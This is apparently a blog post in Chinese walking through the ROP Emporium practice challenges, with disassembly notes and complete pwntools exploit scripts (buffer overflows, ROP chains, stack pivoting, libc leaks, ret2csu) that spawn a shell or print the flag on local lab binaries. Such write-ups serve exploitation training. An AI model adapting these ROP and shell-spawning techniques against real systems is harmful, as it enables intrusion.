Ropemporium 通关记录

ret2win

保护和arch

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ida分析

题目给了提示,32的buf却可以填充50个字节。并且接受用的是fgets,这个函数不用担心空字节。

int ret2win()
{
  printf("Thank you! Here's your flag:");
  return system("/bin/cat flag.txt");
}

并且存在漏洞函数。

exp

32位

from pwn import *
context.arch = 'i386'
io = process('./ret2win32')
io.recvuntil('>')
payload = 'a' * 44 + p32(0x08048659)
io.sendline(payload)
io.interactive()

64位

from pwn import *
context.arch = 'amd64'
io = process('./ret2win')
io.recvuntil('>')
payload = 'a' * 40 + p64(0x00000400811)
io.sendline(payload)
io.interactive()

split

保护和arch

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ida分析

int usefulFunction()
{
  return system("/bin/ls");
}

后门函数变成了这样,但是可以看到有cat flag的字符串。这样只需要控制system的参数即可。

exp

32位:

from pwn import *
context.arch = 'i386'
io = process('./split32')
key = 0x0804A030 # /bin/cat flag.txt'
io.recvuntil('>')
offset = 44
payload = 'a' * offset + p32(0x08048657) + p32(0x0804A030)
raw_input('->')
io.sendline(payload)
io.interactive()

64位:

from pwn import *
context.arch = 'amd64'
io = process('./split')
io.recvuntil('>')
key = 0x00601060 # /bin/cat flag.txt'
offset = 40
pop_rdi_ret = 0x0000000000400883
payload = 'a' * offset + p64(pop_rdi_ret) + p64(key) + p64(0x00000400810) 
io.sendline(payload)
io.interactive()

callme

ida分析

void __noreturn usefulFunction()
{
  callme_three(4LL, 5LL, 6LL);
  callme_two(4LL, 5LL, 6LL);
  callme_one(4LL, 5LL, 6LL);
  exit(1);
}

这个是关键函数,但是其是用到了给的so文件,然后ida来分析so文件。


找到以后发现应该是按照顺序调用callme-one,callme-two,callme-three需要注意其参数都要是1,2,3.当初程序中给的是4,5,6 需要想办法来换掉这个参数。

exp

32位:

from pwn import *
context.arch = 'i386'
io = process('./callme32')
io.recvuntil('>')
offset = 44
callme_one = 0x080485C0
callme_two = 0x08048620
callme_three = 0x080485B0
pop3_ret = 0x080488a9
payload = 'a' * offset + p32(callme_one) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
payload += p32(callme_two) + p32(pop3_ret) + p32(1) + p32(2) + p32(3)
payload += p32(callme_three) + p32(0xdeadbeef) + p32(1) + p32(2) + p32(3)
raw_input('->')
io.sendline(payload)
io.interactive()

其中pop3_ret 是用来保持栈平衡的,且站的位置函数的返回地址。还有需要注意的问题是:

注意填充以后的返回地址填的时候,通常填的是代码段的数据,但是这里汇编是call所以在填的时候,应该是填充其plt的地址。

64位:

from pwn import *
context.arch = 'amd64'
io = process('./callme')
io.recvuntil('>')
offset = 40
callme_one = 0x00401850
callme_two = 0x000401870
callme_three = 0x00401810
pop3_ret = 0x0000000000401ab0
payload = 'a' * offset + p64(pop3_ret) + p64(1) + p64(2) + p64(3) + p64(callme_one)
payload += p64(pop3_ret) + p64(1) + p64(2) + p64(3) + p64(callme_two)
payload += p64(pop3_ret) + p64(1) + p64(2) + p64(3) + p64(callme_three)
raw_input('->')
io.sendline(payload)
io.interactive()

利用 0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret这个gadget来控制参数。

write4

ida分析

这个题跟前面第2题很像,但是就是没有给你cat flag 的字符串了。需要自己用程序的gadget来构造。思路也就是进行rop把/bin/sh往bss段上写,然后接着拿shell就好了。

ROPgadget --binary ./write4 --only "mov|pop|ret"

查好用的gadgets:

利用这即可就可以了,32位的类似。

exp

32位:

from pwn import *
context.arch = 'i386'
io = process('./write432')
io.recvuntil('>')
elf = ELF('./write432')
# bin_sh = elf.search('/bin/cat').next()
offset = 44
bss = 0x804A06C-0x10
pop_edi_pop_ebp_ret = 0x080486da
system = 0x8048430
key = 0x08048670 #mov dword ptr [edi], ebp ; ret
payload = 'a' * offset + flat([pop_edi_pop_ebp_ret,bss,'sh\x00\x00',key,system,0xdeadbeef,bss])
raw_input('->')
io.sendline(payload)
io.interactive()

64位:

from pwn import *
context.arch = 'amd64'
io = process('./write4')
io.recvuntil('>')
elf = ELF('./write4')
# bin_sh = elf.search('/bin/cat').next()
offset = 40
bss = 0x601090-0x10
key1 = 0x0000000000400820# mov qword ptr [r14], r15 ; ret
key2 = 0x0000000000400890# pop r14 ; pop r15 ; ret
key3 = 0x0000000000400893#pop rdi ; ret
system = 0x000004005E0
payload = 'a' * offset + flat([key2,bss,'/bin/sh\x00',key1,key3,bss,system])
raw_input('->')
io.sendline(payload)
io.interactive()

badchars

ida分析

这个题目跟前一个write4十分的相似,但是其过滤了个别字符:

会将其替换为0xEB,个人解决办法就是在bss段写好被程序处理过的字符串后,在用xor的gadgets来重新改回来,为了便于利用,32位和64位都是构造system(sh)来拿的shell。
例子:

传过去的是sh\x00\x00\x00\x00\x00\x00\x00 到bss是这个情况,然后去找xor的gadget:

其中注意这是以一个byte来进行xor的,然后这个图xor的倒数第一条语句,**其中的是dh,这个是edx的高位。r14b是r14的低位也是一个byte的字节单位。
这个题目在gdb调试exp时会发现有比较便捷的办法。

exp

32位:

from pwn import *
context.arch = 'i386'
io = process('./badchars32')
io.recvuntil('>')
elf = ELF('./badchars32')
key1 = 0x08048893# mov dword ptr [edi], esi ; ret
key2 = 0x08048899# pop esi ; pop edi ; ret
key3 = 0x08048461# pop ebx ; ret
bss = 0x804A06C-10
key4 = 0x08048897# pop ecx ; ret
key5 = 0x08048890#xor byte ptr [ebx], cl ; ret
sys = 0x080484E0
offset = 44
payload = 'a' * offset + flat([key2,'sh\x00\x00',bss,key1,key3,bss,key4,0x98,key5,sys,0xdeadbeef,bss])
raw_input("->")
io.sendline(payload)
io.interactive()

64位:

from pwn import *
context.arch = 'amd64'
io = process('./badchars')
io.recvuntil('>')
elf = ELF('./badchars')
offset = 40
bss = 0x6010B0
key1 = 0x0000000000400b34# mov qword ptr [r13], r12 ; ret
key2 = 0x0000000000400b3b# pop r12 ; pop r13 ; ret
key3 = 0x0000000000400b39#pop rdi ; ret
key4 = 0x0000000000400b30#xor byte ptr [r15], r14b ; ret
key5 = 0x0000000000400b40#pop r14 ; pop r15 ; ret
system = 0x004006F0
payload = 'a' * offset + flat([key2,'sh\x00\x00\x00\x00\x00\x00',bss,key1,key5,0x98,bss,key4,key3,bss,system])
raw_input('->')
io.sendline(payload)
io.interactive()

fluff

这个题目还是跟write4很相似,但是找可用的gadget是,比较难找。需要想尽办法找各种gadget,然后叠加在一起成为需要的链。这个题突破口也就在:

mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret

然后再去找ecx,edx相关的gadget,里面用到了xor和xchg等相关的gadget。
其中64位的找可用gadget,还需要控制一下深度:

ROPgadget --binary ./fluff --depth 15 

这样找出足够的gadget,以便自己试用。

exp

32位:

from pwn import *
context.arch = 'i386'
io = process('./fluff32')
io.recvuntil('>')
elf = ELF('./fluff32')
key1 = 0x080483e1# pop ebx ; ret
key2 = 0x08048671# xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
key3 = 0x0804867b# xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
bss = 0x804A06C
key4 = 0x08048689#xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
key5 = 0x08048693# mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
sys = 0x8048430
offset = 44
payload = 'a' * offset + flat([key1,bss,key2,1,key3,1,key4,1,key1,'sh\x00\x00',key2,1,key3,1,key5,1,0,sys,0xdeadbeef,bss])
raw_input("->")
io.sendline(payload)
io.interactive()

64位:

from pwn import *
context.arch = 'amd64'
io = process('./fluff')
io.recvuntil('>')
elf = ELF('./fluff')
key1 = 0x0000000000400832# pop r12 ; mov r13d, 0x604060 ; ret
key2 = 0x0000000000400822#xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
key3 = 0x000000000040082f#xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
bss = 0x601090
key4 = 0x0000000000400840##  : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
key5 = 0x000000000040084e# mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
key6 = 0x00000000004008c3# pop rdi ; ret
sys = 0x4005E0
offset = 40
payload = 'a' * offset + flat([key1,bss,key2,1,key3,1,key4,1,key1,'/bin/sh\x00',key2,1,key3,1,key5,1,0,key6,bss,sys])
raw_input("->")
io.sendline(payload)
io.interactive()

pivot

这个题一看就是栈转移了。

ida分析


可以看到会给你泄漏一个堆地址,给你去栈转移。
接着看后门函数,发现这里call一个与libc连接的函数:

接着分析一下给定的so文件:

void __noreturn ret2win()
{
  system("/bin/cat flag.txt");
  exit(0);
}

接着就有思路了,栈转移到给你的堆地址上,然后构造rop链:

  • leak foothold_function_got
  • 算出给的libc基址,回到start,再次利用漏洞
  • 构造jmp到ret2win的链即可
    但是这个题目还是有技巧的,发现给你的堆地址其实跟这个libc的内存映射是很近的,并且每次差距也是固定的。那就可以直接分析so文件,来算取偏移,直接利用。

根据给的堆地址和so文件映射基址:

exp1

32位:

from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
io = process('./pivot32')
elf = ELF('./pivot32')
libc = ELF('./libpivot32.so')
foothold_function_plt = elf.plt['foothold_function']
foothold_function_got = elf.got['foothold_function']
put_plt = elf.plt['puts']
key1 = 0x080486a8 #: leave ; ret
io.recvuntil('0x')
leak = int(io.recv(8),16)
print('leak_stack'+ hex(leak))
io.recvuntil('now and it will land there')
io.recvuntil('>')
payload = flat([0xdeadbeef,foothold_function_plt,put_plt,0x08048640,foothold_function_got])
raw_input('->')
io.sendline(payload)
io.recvuntil('stack smash')
io.recvuntil('>')
payload = 40 * 'a' + p32(leak) +p32(key1)
io.sendline(payload)
io.recvuntil('foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so')
leak = u32(io.recv(4))
print('leak'+ hex(leak))
ret2win = leak - libc.symbols['foothold_function'] + libc.symbols['ret2win']
io.recvuntil('now and it will land there')
io.recvuntil('>')
io.sendline('1')
io.recvuntil('send your stack smash')
payload = 'a' * 44 + p32(ret2win)
io.sendline(payload)
io.interactive()

64位:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
io = process('./pivot')
elf = ELF('./pivot')
libc = ELF('./libpivot.so')
foothold_function_plt = elf.plt['foothold_function']
foothold_function_got = elf.got['foothold_function']
offset = libc.symbols['foothold_function'] - libc.symbols['ret2win']
put_plt = elf.plt['puts']
key1 = 0x0000000000400a39 #: leave ; ret
key2 = 0x0000000000400b73#pop rdi ; ret
key3 = 0x0000000000400b02#xchg rax, rsp ; ret
key4 = 0x0000000000400b00#pop rax ; ret
print('offset:' + hex(offset))
io.recvuntil('0x')
leak = int(io.recv(12),16)
print('leak_stack'+ hex(leak))
io.recvuntil('now and it will land there')
io.recvuntil('>')
payload = flat([foothold_function_plt,key2,foothold_function_got,put_plt,0x004008A0])
raw_input('->')
io.sendline(payload)
io.recvuntil('stack smash')
io.recvuntil('>')
payload = 40 * 'a' + p64(key4)+ p64(leak) + p64(key3)
io.sendline(payload)
io.recvuntil('foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so')
leak = int(u64(io.recv(6).ljust(8,'\x00')))
print('leak'+ hex(leak))
ret2win = leak - libc.symbols['foothold_function'] + libc.symbols['ret2win']
print('ret2win'+ hex(ret2win))
# raw_input('->')
io.recvuntil('>')
payload = 'a' * 40 + p64(ret2win)
io.sendline(payload)
io.interactive()

这个地方因为是fgets函数来获取字符串,其遇到换行就会结束,但是在找gadgat 的时候发现leave ret的这个gadget,地址都是有0x0a,所以只能更换gadget,来伪造栈。

exp2

32位:

from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
io = process('./pivot32')
elf = ELF('./pivot32')
offset = 44
io.recvuntil('0x')
leak1 = int(io.recv(8),16) + 1921272 + 0x000000967
print('leak'+ hex(leak1))
raw_input('->')
payload = offset * 'a' + p32(leak1)
io.sendline('1')
io.recvuntil('send your stack smash')
io.sendline(payload)
io.interactive()

64位:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
io = process('./pivot')
elf = ELF('./pivot')
libc = ELF('./libpivot.so')
offset = 40
io.recvuntil('0x')
leak1 = int(io.recv(12),16) + 3977456 + libc.symbols['ret2win']
raw_input('->')
payload = offset * 'a' + p64(leak1)
io.sendline('1')
io.recvuntil('send your stack smash')
io.sendline(payload)
io.interactive()

ret2csu

这个题目就是再考ret2csu(64位的万能gadget),让你控制rdx(第三个参数的寄存器)为0xdeadcafebabebeef 就可以了。但是比较难搞的一点是:

在这个地方是call,所以这里应该填一个got的地址。不能是一个地址或者plt。因为call 0xaaaaa 汇编作用:

  • push PC(也就是该汇编指令的下一个汇编指令的地址)
  • jmp [0xaaaaa] 是该函数point指向的地址

这个题目在call完每一个函数自带的正常库函数后,都将其got表清0。

但是会发现上面还有一个动态链接_DYNAMIC的信息,跟进去:

发现一堆初始化用的函数。然后点进去第一个可以看看:


发现这里也没有对rdx进行处理,可以使用这个。现在就是确定一下哪里存放着0x400560,毫无疑问肯定是这个_DYNAMIC里,但是自己目前还不熟悉这个结构,看起来貌似是个结构体。先gdb跟入查看吧:

发现应该是0x0600E38。接下来的就简单了,传统的ret2csu。

exp

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
io = process('./ret2csu')
elf = ELF('./ret2csu')
offset = 40
io.recvuntil('>')
key1 = 0x040089A
key2 = 0x000400880
key3 = 0x0000600E38
raw_input('->')
payload = offset * 'a' + flat([key1,0,1,key3,0,0,0xdeadcafebabebeef,key2,7*8*'a',0x000004007B1])
io.sendline(payload)
io.interactive()


pwn wp

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!